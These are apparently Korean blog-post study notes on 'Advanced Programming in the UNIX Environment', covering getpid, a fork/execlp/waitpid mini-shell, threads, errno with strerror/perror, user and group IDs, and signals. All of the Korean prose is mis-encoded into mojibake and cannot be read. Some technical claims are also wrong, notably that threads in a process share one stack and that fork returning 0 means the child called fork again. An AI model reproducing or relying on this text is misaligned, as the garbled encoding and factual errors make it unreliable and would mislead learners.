  • ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฐ–๋Š” ๊ณ ์œ ํ•œ ์ˆซ์ž
  • ๋Š˜ ์–‘์ˆ˜

์ž๊ธฐ ์ž์‹ ์˜ ํ”„๋กœ์„ธ์Šค id๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์ฝ”๋“œ

c
#include "apue.h"

int main(void) {
	printf("hello world from pid %ld\n", (long)getpid());
	exit(0);
}

getpid ํ•จ์ˆ˜์— ๋Œ€ํ•ด ์ด์•ผ๊ธฐ๋ฅผ ํ•˜์ž๋ฉด,

  • pid_t ์ž๋ฃŒํ˜•์˜ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๊ณ , ์‚ฌ์ด์ฆˆ๋Š” ์ •ํ•ด์ ธ์žˆ์ง€ ์•Š์ง€๋งŒ,
  • ํ‘œ์ค€์ด long integer์˜ ์‚ฌ์ด์ฆˆ์— ๋งž์„๊ฒƒ์„ ๋ณด์ฆํ•œ๋‹ค.
    • ๋ฌผ๋ก  ๋Œ€๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ์—์„œ int์˜ ์‚ฌ์ด์ฆˆ๋กœ๋„ ๊ดœ์ฐฎ์„ํ…๋ฐ, ํ˜ธํ™˜์„ฑ์„ ์œ„ํ•ด long์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

ํ”„๋กœ์„ธ์Šค ์ œ์–ด

ํ”„๋กœ์„ธ์Šค๋ฅผ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•œ 3๊ฐœ์˜ ์ฃผ์š”ํ•œ ํ•จ์ˆ˜๊ฐ€ ์žˆ๋‹ค.

  • fork
    • ์ž๊ธฐ ์ž์‹ ์ด ๋ณต์ œ๋œ ์ƒˆ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๋Š” ํ•จ์ˆ˜
  • exec (์œ„์—์„œ ๋งํ–ˆ๋“ฏ 7๊ฐœ์˜ ์ข…๋ฅ˜๊ฐ€ ์žˆ์ง€๋งŒ, ํŽธ์˜์„ฑ์„ ์œ„ํ•ด ๊ทธ๋ƒฅ exec์œผ๋กœ ํ†ต์นญํ•œ๋‹ค)
  • waitpid

ํ‘œ์ค€ ์ž…๋ ฅ์—์„œ ๋ช…๋ น์–ด๋ฅผ ๋ฐ›์•„์˜ค๊ณ , ์‹คํ–‰์‹œํ‚ค๋Š” ๊ฐ„์ด ์…ธ ํ”„๋กœ๊ทธ๋žจ

c
#include "apue.h"
#include <sys/wait.h>

int main(void) {
	char buf[MAXLINE];
	pid_t pid;
	int status;
	printf("%% ");
	while (fgets(buf, MAXLINE, stdin) != NULL) {
		if(buf[strlen(buf) - 1] == '\n') // ๋์ž๋ฆฌ๊ฐ€ ์—”ํ„ฐ๋ฉด
			buf[strlen(buf) - 1] = 0; // ์—”ํ„ฐ๊นŒ์ง€ ๋ช…๋ น์–ด๋กœ ์‹คํ–‰์‹œํ‚ค๋ฉด ์•ˆ๋˜๋‹ˆ๊นŒ null ๋กœ ๋งŒ๋“ ๋‹ค

		if((pid = fork()) < 0) // fork์— ์‹คํŒจํ–ˆ๋‹ค๋ฉด
			err_sys("fork error");
		else if (pid == 0) { // fork ๋กœ ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค๋ผ๋ฉด
			execlp(buf, buf, (char *)0); // ์ด ์ฝ”๋“œ๋กœ ์ธํ•˜์—ฌ ์ž์‹ํ”„๋กœ์„ธ์Šค๊ฐ€ 
			err_ret("couldn't execute: %s", buf);
			exit(127); // return code 127 means when shell failed to find the command that user have typed
		}
		/* parent */
		if ((pid = waitpid(pid, &status, 0)) < 0)
			err_sys("waitpid error");
		printf("%% ");
	}
	exit(0);
}

fork ํ•จ์ˆ˜์˜ ๋ฐ˜ํ™˜๊ฐ’์œผ๋กœ ์„ธ๊ฐœ์˜ ๊ฒฝ์šฐ๋ฅผ ๊ตฌ๋ถ„ํ•ด ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ,

  • -1: ์—๋Ÿฌ ๋ฐœ์ƒ
  • 0: fork() ํ•จ์ˆ˜๋กœ ์ธํ•ด ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค๊ฐ€ fork ํ•จ์ˆ˜๋ฅผ ๋˜ ๋‹ค์‹œ ํ˜ธ์ถœ ํ•จ
  • ์ •์ƒ์ ์ธ pid: fork๊ฐ€ ์ ์ ˆํžˆ ์‹คํ–‰๋จ

fork๋˜์–ด ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ž์‹ ํ”„๋กœ์„ธ์Šค, fork๋ฅผ ํ˜ธ์ถœํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ถ€๋ชจํ”„๋กœ์„ธ์Šค๋ผ๊ณ  ํ•˜๊ฒ ๋‹ค.
๊ทธ๋ž˜์„œ ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž๋ฉด,

  • ์ž์‹ํ”„๋กœ์„ธ์Šค๋Š” execlp๋กœ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉฐ ์ž๊ธฐ ์ž์‹ ์„ ์‹คํ–‰๋œ ํ•ด๋‹น ํŒŒ์ผ๋กœ ๋Œ€์ฒด์‹œํ‚จ๋‹ค.
  • ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค๋Š” ๋ช…๋ น์–ด์˜ ์‹คํ–‰์ด ๋๋‚  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ฌ๋ ค์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์—(๊ทธ๋ž˜์•ผ ๋ช…๋ น์ด ๋๋‚˜๊ณ ๋‚˜์„œ ๋ช…๋ น์–ด ์ž…๋ ฅ์„ ๋ฐ›์œผ๋‹ˆ๊นŒ) waitpid ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด์„œ ๊ธฐ๋‹ค๋ฆฐ๋‹ค.
    • waitpid์˜ ๋ฐ˜ํ™˜๊ฐ’์—๋Š” ํ”„๋กœ๊ทธ๋žจ์˜ ์ƒํƒœ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ด ์žˆ์ง€๋งŒ, ์ด ํ”„๋กœ๊ทธ๋žจ์—์„œ๋Š” ๊ทธ๋Ÿฐ๊ฒƒ๋“ค์„ ๋‹ค๋ฃจ์ง€๋Š” ์•Š์•˜๋‹ค.
  • ์ด ํ”„๋กœ๊ทธ๋žจ์—๋Š” ๋ฌธ์ œ์ ์ด ํ•˜๋‚˜ ์žˆ๋Š”๋ฐ, ๋ช…๋ น์–ด์—๋‹ค๊ฐ€ ์ธ์ž๊ฐ’์„ ๋„˜๊ธธ ์ˆ˜ ์—†๋‹ค๋Š” ์ ์ด๋‹ค.
    • ๊ฐ€๋ น ls๋ฅผ ์‹คํ–‰ํ•œ๋‹ค ํ•˜๋”๋ผ๋„ ์–ด๋А ๋””๋ ‰ํ† ๋ฆฌ์— ls๋ฅผ ํ• ์ง€ ์ง€์ •ํ•ด ์ค„ ์ˆ˜ ์—†๋‹ค.
    • ์ธ์ž๊ฐ’์„ ๋„˜๊ธฐ๋ ค๋ฉด ์ŠคํŽ˜์ด์Šค๋‚˜ ํƒญ ๋ฌธ์ž๊ฐ™์€ ๊ฒƒ๋“ค๋กœ ์ธ์ž๊ฐ’์„ ๊ตฌ๋ถ„ ํ•ด ์ค€ ๋’ค, ๊ฐ๊ฐ๋“ค์„ execlp ์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์ „๋‹ฌํ•ด์ฃผ๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ณ ์ณ์•ผํ•œ๋‹ค.

์“ฐ๋ ˆ๋“œ์™€ ์“ฐ๋ ˆ๋“œID

์“ฐ๋ ˆ๋“œ

๋ณดํ†ต ํ”„๋กœ๊ทธ๋žจ์€ ์“ฐ๋ ˆ๋“œ๊ฐ€ ํ•˜๋‚˜์ด๋‹ค. ์ฆ‰ ํ•œ๋ฒˆ์— ํ•˜๋‚˜์˜ ๊ธฐ๊ณ„์–ด๋งŒ ์‹คํ–‰ ๋œ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜, ๋ฉ€ํ‹ฐํ”„๋กœ์„ธ์„œ ์‹œ์Šคํ…œ์—์„œ๋Š” ์—ฌ๋Ÿฌ ์“ฐ๋ ˆ๋“œ๋ฅผ ํ†ตํ•ด ๋ณ‘๋ ฌ์ ์œผ๋กœ ์ผ์„ ์ฒ˜๋ฆฌ ํ•  ์ˆ˜ ์žˆ๋‹ค.
ํ•˜๋‚˜์˜ ํ”„๋กœ์„ธ์Šค ์•ˆ์˜ ๋ชจ๋“  ์“ฐ๋ ˆ๋“œ๋Š”

  • ๊ฐ™์€ ์ฃผ์†Œ ๊ณต๊ฐ„
  • ๊ฐ™์€ ํŒŒ์ผ ์„œ์ˆ ์ž(file descriptor)
  • ๊ฐ™์€ ์Šคํƒ
  • ๊ทธ์™ธ์— ํ”„๋กœ์„ธ์Šค์™€ ๊ด€๋ จ๋œ ๋ชจ๋“  ์†์„ฑ
    ๋“ค์„ ๊ณต์œ ํ•œ๋‹ค.

๊ฐ ์“ฐ๋ ˆ๋“œ๋Š” ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค ์•ˆ์— ์†ํ•ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋ฉ”๋ชจ๋ฆฌ์˜ ์Šคํƒ๊ณต๊ฐ„์„ ๊ณต์œ ํ•œ๋‹ค. (์ฆ‰ ํ”„๋กœ์„ธ์Šค a์˜ ์“ฐ๋ ˆ๋“œ b๋Š” ์“ฐ๋ ˆ๋“œ c์˜ ์Šคํƒ๊ณต๊ฐ„์— ์ ‘๊ทผ ํ•  ์ˆ˜ ์žˆ๋‹ค!)
๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ๊ณต์œ ๋œ ๋ฐ์ดํ„ฐ๋ผ๋ฆฌ์˜ ์ ‘๊ทผ์— ๋Œ€ํ•ด์„œ ๋™๊ธฐํ™”๋ฅผ ์‹œ์ผœ ์ค„ ํ•„์š”๊ฐ€์žˆ๋‹ค.

์“ฐ๋ ˆ๋“œ ID

ํ”„๋กœ์„ธ์Šค์ฒ˜๋Ÿผ, ์“ฐ๋ ˆ๋“œ๋“ค์€ ID๋ฅผ ํ†ตํ•ด ํŠน์ •์ง€์–ด์ง„๋‹ค.
๋ฌผ๋ก  ์“ฐ๋ ˆ๋“œ๋“ค์€ ํ”„๋กœ์„ธ์Šค ๊ฐ๊ฐ์— ํ•œ์ •์ง€์–ด ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ง€์—ญ๋ณ€์ˆ˜์ฒ˜๋Ÿผ ํ•œ ํ”„๋กœ์„ธ์Šค๋Š” ์ž์‹ ์˜ ์“ฐ๋ ˆ๋“œ๋งŒ ์ ‘๊ทผ ํ•  ์ˆ˜ ์žˆ๋‹ค.
๊ทธ๋ž˜์„œ ํ”„๋กœ์„ธ์Šค A์˜ ์“ฐ๋ ˆ๋“œ 2๋Š” ํ”„๋กœ์„ธ์Šค B์—๊ฒ ์–ด๋– ํ•œ ์˜๋ฏธ๋„ ๊ฐ–์ง€์•Š๋Š”๋‹ค.
์“ฐ๋ ˆ๋“œ ID๋Š” ํ”„๋กœ์„ธ์Šค ์•ˆ์—์„œ ํŠน์ • ์“ฐ๋ ˆ๋“œ๋“ค์„ ๋Šฅ์ˆ˜๋Šฅ๋ž€ํ•˜๊ฒŒ ๋‹ค๋ฃจ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•œ๋‹ค.
์“ฐ๋ ˆ๋“œ๋Š” ์œ ๋‹‰์Šค ์‹œ์Šคํ…œ์—์„œ ํ”„๋กœ์„ธ์Šค ๋ชจ๋ธ์ด ์ƒ๊ธด์ง€ ํ•œ์ฐธ ๋’ค์— ์ƒ๊ฒผ๊ธฐ๋•Œ๋ฌธ์— ์“ฐ๋ ˆ๋“œ ๋ชจ๋ธ๊ณผ ํ”„๋กœ์„ธ์Šค ๋ชจ๋ธ์€ ๋ณต์žกํ•œ ์ƒํ˜ธ์ž‘์šฉ์„ ํ•œ๋‹ค.


File: _posts/2019-9-28-apue62.md


layout: post title: Advanced Programming in the UNIX Environment - Error handling date: 2019-9-28 15:19:26 +0900 categories: [unix, operating_system]

์—๋Ÿฌ ์ฒ˜๋ฆฌ

  • ์œ ๋‹‰์Šค ์‹œ์Šคํ…œ์—์„œ ์—๋Ÿฌ๊ฐ€ ๋‚˜๋ฉด ์ƒํƒœ๋ฅผ ์•Œ๋ ค์ฃผ๋Š” ์Œ์ˆ˜๊ฐ€ ๋ฐ˜ํ™˜๋œ๋‹ค. (๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ์—๋Ÿฌ์ฝ”๋“œ๊ฐ™์€ ๊ฐœ๋…์ด๋ผ๊ณ  ๋ณด๋ฉด ๋œ๋‹ค)
  • errno.h ํ—ค๋”์—๋Š” ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ์—๋Ÿฌ์ฝ”๋“œ๋“ค์— ๋Œ€ํ•ด ์ •์˜ํ•˜๊ณ ์žˆ๋‹ค.
    • ์ด๋Ÿฌํ•œ ์ƒ์ˆ˜๋“ค์€ E๋กœ ์‹œ์ž‘ํ•œ๋‹ค.

-POSIX์™€ ISO C์—์„œ๋Š” errno๋ฅผ ํ™•์žฅํ•˜๋Š” ์ˆ˜์ •๊ฐ€๋Šฅํ•œ ์ •์ˆ˜ ํ”ผ์—ฐ์‚ฐ์ž๋ผ๊ณ  ์ •์˜ํ•˜๊ณ  ์žˆ๋‹ค.
- ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ, ์—๋Ÿฌ ์ˆซ์ž๋ฅผ ๊ฐ–๊ณ ์žˆ๋Š” ์ •์ˆ˜
- ํ˜น์€ ์—๋Ÿฌ ์ˆซ์ž๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜
๊ฐ€ ๋  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ž˜์„œ ์ด๊ฒƒ์— ๋Œ€ํ•œ ์ „ํ†ต์ ์ธ ์ •์˜๋Š”:

c
extern int errno;

๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ๊ทธ๋Ÿฌ๋‚˜ ์“ฐ๋ ˆ๋“œ๋ฅผ ์ง€์›ํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ๋Š” ํ”„๋กœ์„ธ์Šค์˜ ์ฃผ์†Œ๊ณต๊ฐ„์ด ์—ฌ๋Ÿฌ ์“ฐ๋ ˆ๋“œ๋ผ๋ฆฌ ๊ณต์œ ๊ฐ€ ๋˜๊ณ , ๊ทธ๋ž˜์„œ ๊ฐ๊ฐ์˜ ์“ฐ๋ ˆ๋“œ๋Š” errno์˜ ๋ณต์‚ฌ๋ฒ„์ „์„ ๊ฐ€์ ธ์•ผํ•œ๋‹ค. (๊ทธ๋ž˜์•ผ ํ•œ ์“ฐ๋ ˆ๋“œ๊ฐ€ ๋‹ค๋ฅธ ์“ฐ๋ ˆ๋“œ๋ฅผ ๊ฐ„์„ญํ•˜๋Š”๊ฒƒ์„ ๋ง‰์„ ์ˆ˜ ์žˆ์œผ๋‹ˆ๊นŒ)

  • ๋ฆฌ๋ˆ…์Šค๋Š” ๋ฉ€ํ‹ฐ์“ฐ๋ ˆ๋“œ ์‹œ์Šคํ…œ์—์„œ์˜ errno์˜ ์ ‘๊ทผ์„ ์•„๊นŒ ์œ„์—์„œ ๋ณด์•˜๋˜ ์ € ์ •์˜๋ฅผ

c
extern int *__errno_location(void);
#define errno (*__errno_location())

๋กœ ํ•จ์œผ๋กœ์จ ๋ฉ€ํ‹ฐ์“ฐ๋ ˆ๋“œ์—์„œ์˜ ์ ‘๊ทผ์„ ์ง€์›ํ•œ๋‹ค.

errno์—๊ฒŒ ์žˆ์–ด ๋‘๊ฐ€์ง€ ์ฃผ์˜ํ•  ๊ทœ์น™์ด ์žˆ๋Š”๋ฐ,

  • errno์˜ ๊ฐ’์€ ์ ˆ๋Œ€๋กœ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด ๋ฃจํ‹ด์— ์˜ํ•ด ๊ฐ’์ด ์ดˆ๊ธฐํ™” ๋˜์ง€ ์•Š๋Š”๋‹ค.
    • ๊ทธ๋ž˜์„œ ํ•จ์ˆ˜๊ฐ€ ์˜ค๋ฅ˜๊ฐ€ ๋‚ฌ๋‹ค๊ณ  ์•Œ๋ฆด๋•Œ์—๋งŒ ๊ฐ’์„ ๊ฒ€์‚ฌํ•ด์•ผํ•œ๋‹ค.
  • errno์˜ ๊ฐ’์€ ์ ˆ๋Œ€๋กœ 0์ด ๋  ์ˆ˜ ์—†๋‹ค.
    • ์–ด๋– ํ•œ ํ•จ์ˆ˜์— ์˜ํ•ด์„œ๋„ 0์ด ๋‚˜์˜ฌ ์ˆ˜ ์—†๊ณ , errno.h์— ์žˆ๋Š” ์–ด๋– ํ•œ ๊ฐ’๋„ 0์ด ์•„๋‹ˆ๋‹ค.

cํ‘œ์ค€์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์—๋Ÿฌ๋ฅผ ๋‹ค๋ฃจ๋Š”๋ฐ ๋„์›€์„ ์ฃผ๋Š” ๋‘๊ฐ€์ง€ ํ•จ์ˆ˜๋ฅผ ์ œ๊ณตํ•œ๋‹ค.

c
#include <string.h>
char *strerror(int errnum);

strerror, ๊ทธ๋ฆฌ๊ณ 

c
#include <stdio.h>
void perror(const char *msg);

perror๊ฐ€ ๊ทธ๊ฒƒ์ด๋‹ค.

strerror๋Š” ์—๋Ÿฌ์ˆซ์ž๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ํ•ด๋‹น ์—๋Ÿฌ์— ๋Œ€ํ•œ ์„ค๋ช…์„ ํ•˜๋Š” ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•˜๊ณ , perror์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•œ ๋ฐ”๋กœ ๋‹ค์Œ์— ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ฒŒ ๋˜๋ฉด, ์ธ์ž๊ฐ’์œผ๋กœ ๋ฐ›์€ msg๋ฅผ ์ถœ๋ ฅํ•œ๋’ค ํ•ด๋‹น ์—๋Ÿฌ์— ๋Œ€ํ•œ ์„ค๋ช…์„ ํ•˜๋Š” ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅํ•œ๋‹ค.
๊ทธ๋ ‡๊ธฐ๋•Œ๋ฌธ์—, perrorํ•จ์ˆ˜๋Š” ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒ๋˜๊ณ  ๋ฐ”๋กœ ๋’ค์— ํ˜ธ์ถœ๋˜์–ด์•ผํ•œ๋‹ค.

๊ทธ๋Ÿผ ์ด ๋‘๊ฐ€์ง€ ํ•จ์ˆ˜๋ฅผ ํ™œ์šฉํ•˜๋Š” ์˜ˆ์ œ๋ฅผ ํ•œ๋ฒˆ ์ž‘์„ฑํ•ด๋ณด์ž!

c
#include "apue.h"
#include <errno.h>

int main(int argc, char *argv[]) {
	fprintf(stderr, "EACCES: %s\n", strerror(EACCES));
	errno = ENOENT;
	perror(argv[0]);
	exit(0);
}

์—๋Ÿฌ ๋ณต๊ตฌ

errno์— ์ •์˜๋œ ์—๋Ÿฌ๋Š” ๋‘๊ฐ€์ง€๋กœ ๋‚˜๋ˆŒ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด๋“ค์€ ๊ฐ๊ฐ ๋‹ค์Œ๊ณผ๊ฐ™๋‹ค.

  • fatal: ๋ณต๊ตฌ ๋ถˆ๊ฐ€๋Šฅ
  • nonfatal: ๋Œ€๋ถ€๋ถ„์ด ์ผ์‹œ์ ์ธ ์—๋Ÿฌ

๋ฆฌ์†Œ์Šค์™€ ๊ด€๋ จ๋œ nonfatal ์—๋Ÿฌ

  • EAGAIN
  • ENFILE
  • ENOBUFS
  • ENOLCK
  • ENOSPC
  • EWOULDBLOCK
  • ENOMEM: ํ•ญ์ƒ nonfatal์€ ์•„๋‹˜.
  • EBUSY: ์—๋Ÿฌ๊ฐ€ ๊ณต์œ ๋œ ์ž์›์„ ์‚ฌ์šฉ์ค‘์ด๋ผ๊ณ  ํ•œ๋‹ค๋ฉด nonfatal ์—๋Ÿฌ๋กœ ์—ฌ๊ฒจ์งˆ ์ˆ˜ ์žˆ๋‹ค.
  • EINTR: ๋А๋ฆฐ ์‹œ์Šคํ…œ ์ฝœ์„ ์ธํ„ฐ๋ŸฝํŠธ ํ–ˆ์—ˆ์„๋•Œ nonfatal ์—๋Ÿฌ๋กœ ์—ฌ๊ฒจ์งˆ ์ˆ˜ ์žˆ๋‹ค.

๋ณต๊ตฌ๋ฒ•

  • ๊ฐ€์žฅ ํ”ํ•œ ๋ฐฉ๋ฒ•์€ ๊ธฐ๋‹ค๋ฆฐ ๋’ค์— ๋‹ค์‹œ ์‹œ๋„ํ•˜๋Š”๊ฒƒ์ด๋‹ค.
    • ์ด ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅธ ํ™˜๊ฒฝ์—์„œ๋„ ์‘์šฉ๋  ์ˆ˜ ์žˆ๋Š”๋ฐ, "์ธํ„ฐ๋„ท ์—ฐ๊ฒฐ์ด ์‘๋‹ตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค" ์™€ ๊ฐ™์€ ์—๋Ÿฌ๊ฐ€ ๋‚ฌ์„๋•Œ ๋’ค์—์„  ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ž ์‹œ ๊ธฐ๋‹ค๋ฆฌ๊ฒŒ ํ•œ ํ›„ ์žฌ์‹œ๋„ํ•˜๊ฒŒ ํ•  ์ˆ˜ ๋„ ์žˆ๋Š”๊ฒƒ์ด ๊ทธ ์˜ˆ์‹œ์ด๋‹ค.
    • ๋ช‡๋ช‡ ์‘์šฉํ”„๋กœ๊ทธ๋žจ์€ exponential backkoff algorithm์„ ์‚ฌ์šฉํ•˜์—ฌ ์ดํ›„์˜ ์‹œ๋„๋“ค์— ๋Œ€ํ•ด ์ ์  ๋” ๋Œ€๊ธฐ ์‹œ๊ฐ„์„ ๋Š˜๊ฒŒํ•˜๋Š” ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•˜๊ธฐ๋„ ํ•œ๋‹ค.
  • ๊ถ๊ทน์ ์œผ๋กœ, ์—๋Ÿฌ๋ฅผ ๋ณต๊ตฌ ํ•  ์ˆ˜ ์žˆ์„์ง€ ์—†์„์ง€๋Š” ์‘์šฉํ”„๋กœ๊ทธ๋žจ ๊ฐœ๋ฐœ์ž์—๊ฒŒ ๋‹ฌ๋ ค์žˆ๋‹ค.
  • ํ•ฉ๋ฆฌ์ ์ธ ๋ณต๊ตฌ์ „๋žต์ด ์‚ฌ์šฉ๋ ๋•Œ, ์šฐ๋ฆฌ๋Š” ์•ฑ์˜ ๋น„์ •์ƒ์  ์ข…๋ฃŒ๋ฅผ ๋ง‰์Œ์œผ๋กœ์„œ ๊ฒฌ๊ณ ์„ฑ์„ ๋Š˜๋ฆด ์ˆ˜ ์žˆ๋‹ค.

File: _posts/2019-9-29-apue63.md


layout: post title: Advanced Programming in the UNIX Environment - User Identification date: 2019-9-29 15:21:42 +0900 categories: [unix, operating_system]

์‚ฌ์šฉ์ž ์ธ์ฆ

User ID

  • password ํŒŒ์ผ ์•ˆ์—์žˆ๋Š” ์‚ฌ์šฉ์žID๋Š” ์‹œ์Šคํ…œ์— ๋Œ€ํ•ด ์ธ์ฆํ•˜๋Š” ์ˆซ์ž ๊ฐ’์ด๋‹ค.
  • ๋กœ๊ทธ์ธ ์ด๋ฆ„์ด ํ• ๋‹น๋ ๋•Œ ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž์— ์˜ํ•ด ํ• ๋‹น๋œ๋‹ค.
  • ์ˆ˜์ •์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.
  • ์ •์ƒ์ ์ธ ๊ฒฝ์šฐ ๊ฐ ์œ ์ €๋Š” uniqueํ•œ ๊ฐ’์„ ๊ฐ€์ง„๋‹ค.

Group ID

  • password ํŒŒ์ผ ์•ˆ์—๋Š” ๊ทธ๋ฃนID๋„ ์žˆ๋‹ค.
  • ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋กœ๊ทธ์ธ ์ด๋ฆ„์ด ํ• ๋‹น๋ ๋•Œ ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž์— ์˜ํ•ด ํ• ๋‹น๋œ๋‹ค.
  • ๋ณดํ†ต ํ”„๋กœ์ ํŠธ๋‚˜ ๋ถ€์„œ๋ณ„๋กœ ์‚ฌ์šฉ์ž๋“ค์„ ์—ฎ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋œ๋‹ค.
  • ํŒŒ์ผ๊ณผ ๊ฐ™์€ ์ž์›์˜ ๊ณต์œ ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•œ๋‹ค.
  • ๊ทธ๋ฃน๋ณ„๋กœ ๊ถŒํ•œ์„ ์„ค์ • ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • group์˜ ์ด๋ฆ„๊ณผ ์•„์ด๋””๋ฅผ ๋งค์นญํ•ด๋‘” ๊ทธ๋ฃนํŒŒ์ผ๋„ ์žˆ๋‹ค.
    • ๋ณดํ†ต /etc/group ์ด๋‹ค.

๋””์Šคํฌ์—์žˆ๋Š” ๋ชจ๋“  ํŒŒ์ผ์— ๋Œ€ํ•ด ์‹œ์Šคํ…œ์€ ํŒŒ์ผ ์ฃผ์ธ์˜ uid์™€ gid์— ๋Œ€ํ•ด ์ €์žฅํ•˜๊ณ ์žˆ๋‹ค.

  • ์ด๊ฒƒ๋“ค์„ ์ €์žฅํ•˜๋Š”๋ฐ๋Š” 4๋ฐ”์ดํŠธ๋ฐ–์— ๋“ค์ง€ ์•Š๋Š”๋‹ค.(๊ฐ๊ฐ 2๋ฐ”์ดํŠธ ์ •์ˆ˜)

์˜ˆ์ œ

์‹คํ–‰์‹œํ‚จ ์‚ฌ์šฉ์ž์˜ uid์™€ gid๋ฅผ ์ถœ๋ ฅ์‹œํ‚ค๋Š” C์ฝ”๋“œ

c
#include "apue.h"

int main(void) {
	printf("uid = %d, gid = %d", getuid(), getgid());
	exit(0);
}

Supplementary Group IDs

  • ํ•œ ์œ ์ €๋Š” 16๊ฐœ์˜ ๊ทธ๋ฃน์— ์†ํ• ์ˆ˜ ์žˆ๋‹ค.
    • ๊ทธ๋Ÿฐ๋ฐ ์•„๊นŒ ์œ ์ €์˜ group์€ password ํŒŒ์ผ์— ์ €์žฅ๋œ๋‹ค๊ณ  ํ–ˆ๋‹ค. - ์ด๋ฅผ real gid๋ผ๊ณ  ํ•œ๋‹ค.
  • /etc/group ์•ˆ์— password์— ์ ํ˜€์žˆ๋Š” ์œ ์ €๊ฐ€ ์†ํ•œ ๊ทธ๋ฃน ๋ง๊ณ , ๋‹ค๋ฅธ ๊ทธ๋ฃน์˜ ์ •๋ณด๊ฐ€ ๋“ค์–ด๊ฐ€์žˆ๋‹ค. - ์ด๊ฒŒ supplementary group id์ด๋‹ค.

File: _posts/2019-9-29-apue64.md


layout: post title: Advanced Programming in the UNIX Environment - Signal, Time Value date: 2019-9-30 17:47:9 +0900 categories: [unix, operating_system]

์‹œ๊ทธ๋„

ํŠน์ • ์ƒํ™ฉ์ด ์ผ์–ด๋‚ฌ์Œ์„ ํ”„๋กœ์„ธ์Šค์—๊ฒŒ ์•Œ๋ฆฌ๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.
์˜ˆ๋ฅผ๋“ค์–ด ํ•œ ํ”„๋กœ์„ธ์Šค๊ฐ€ 0์œผ๋กœ ๋‚˜๋ˆ ์ง„๋‹ค๋ฉด, SIGFPE(๋ถ€๋™์†Œ์ˆ˜์  ์˜ˆ์™ธ์ƒํ™ฉ)์ด๋ผ๋Š” ์‹œ๊ทธ๋„์ด ํ”„๋กœ์„ธ์Šค์—๊ฒŒ ๋ณด๋‚ด์ง„๋‹ค.

ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹œ๊ทธ๋„์„ ๋ฐ›์•˜๋‹ค๋ฉด, ๋‹ค์Œ์˜ ์„ธ๊ฐœ์˜ ์˜ต์…˜์œผ๋กœ ์ƒํ™ฉ์„ ๋Œ€์ฒ˜ ํ•  ์ˆ˜ ์žˆ๋‹ค.

  1. ์‹œ๊ทธ๋„์„ ๋ฌด์‹œํ•œ๋‹ค.
    • ๋ฌผ๋ก  ํ•˜๋“œ์›จ์–ด ์˜ˆ์™ธ์ƒํ™ฉ์„ ๋‚˜ํƒ€๋‚ด๋Š” ์‹œ๊ทธ๋„์—์„œ๋Š” ๊ถŒ์žฅ๋˜์ง€ ์•Š๋Š”๋‹ค.
  2. ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์„ค์ •๋œ ํ–‰๋™์ด ์‹คํ–‰๋˜๋„๋กํ•œ๋‹ค.
